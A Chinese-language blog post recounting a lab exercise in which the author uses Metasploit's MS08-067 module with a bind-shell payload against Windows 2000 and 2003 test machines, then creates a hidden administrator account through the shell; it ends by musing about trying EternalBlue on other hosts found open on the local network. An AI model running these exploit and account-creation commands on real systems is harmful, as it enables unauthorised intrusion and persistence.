这次实验的主角是素有“内网杀手”之称的metasploit。还是少说一些夸赞它的话(因为即使功能再强大,不明白它的原理,不会灵活使用它集成的功能,一样没有用),我们直入主题。简单说一下这次实验的目的:利用目标主机自身存在的内存溢出漏洞获取目标主机的执行权限。
metasploit的强大不光在于漏洞利用方面,还有就是在信息收集方面。关于扫描,这里不多说,大家可以参考Matasploit扫描漏洞方法。
实验环境:
windows2000(靶机)、windows2003(靶机)、4.3.0-kali1-amd64(渗透机)
首先,我们还是先查看一下1号靶机的信息。一看到windows2000,还有点小兴奋,跟看到古董似的。root@localhost:~# msfconsole
进入metasploit终端界面,不得不说每次进入metasploit都会有不同的LOGO:
查看目标靶机是否可以ping通以及查看MS08-067漏洞是否适用于windows2000。
msf > ping 192.168.245.135
msf > info exploit/windows/smb/ms08_067_netapi
从上图,我们可以看出MS08-067漏洞的可用目标包含windows2000
接着利用该漏洞并加载相应的模块:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
msf exploit(ms08_067_netapi) > set rhost 192.168.245.135
msf exploit(ms08_067_netapi) > exploit
果然是“古董”,比纸还脆,一碰就破。
其实最开始我选择的靶机并不是它,是自己之前学习时利用的一个操作系统——windows2003sp3。它没有打任何的补丁,也没有进行过任何的更新,可是它却异常地顽强,我几乎查阅了所有的资料,用了metasploit自带的所有windows漏洞都没能抓取到一个可用的session。后来,我返回去看它的镜像文件。
2003_万能?仔细回想,这个镜像文件是2014年我在雨林木风下载的,补丁早已更新至当月最新,所以很多已有的漏洞都不能用了。而我又不是那种轻易放弃的人,我想到了最近才出来的“永恒之蓝”漏洞,它也是利用445和339端口,所以打算更新metasploit及其数据库。但是并不能行,而后我又上网查资料如何利用“永恒之蓝”漏洞,发现必须去官方源下载wine。至此我终于放弃了,因为我太了解我们宿舍的网了(到现在我还木有实验室,只能在寝室),而且这一个实验已经拖了太久了,最后我还是选择了更换靶机,总的来说还是有些遗憾。
我们接着看对windows2003的渗透:
这是靶机信息:
我们仍然利用MS08-067漏洞:
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set rhost 192.168.245.136
msf exploit(ms08_067_netapi) > exploit
靶机就是靶机。
实验结束时,靶机也自动锁屏了,而且登录还要密码,而我并不知道密码。
索性就利用刚拿到的shell执行权限提权吧:
C:\WINDOWS\system32>net user admin admin /add //新建用户admin 密码也是admin
C:\WINDOWS\system32>net localgroup Administrators admin /add //将admin用户添加到administrator组
C:\WINDOWS\system32>net user admin /active:yes
然后再登录:
好了,现在可以为所欲为了(假装这是得到的别人服务器)。
总结:
内存溢出漏洞的原理详见内存溢出漏洞的原理与防治。metasploit功能强大,这次实验只是看到了它的冰山一角,我相信外界对它的评价不是吹嘘出来的。尽管它的很多功能我还没接触到,但我已经有了挖掘它的兴趣。而且我肯定会完成对“永恒之蓝”漏洞的 利用,因为对局域网的扫描让我发现了很多主机的445和339仍然开启,而且我不相信它们都已经被打补丁。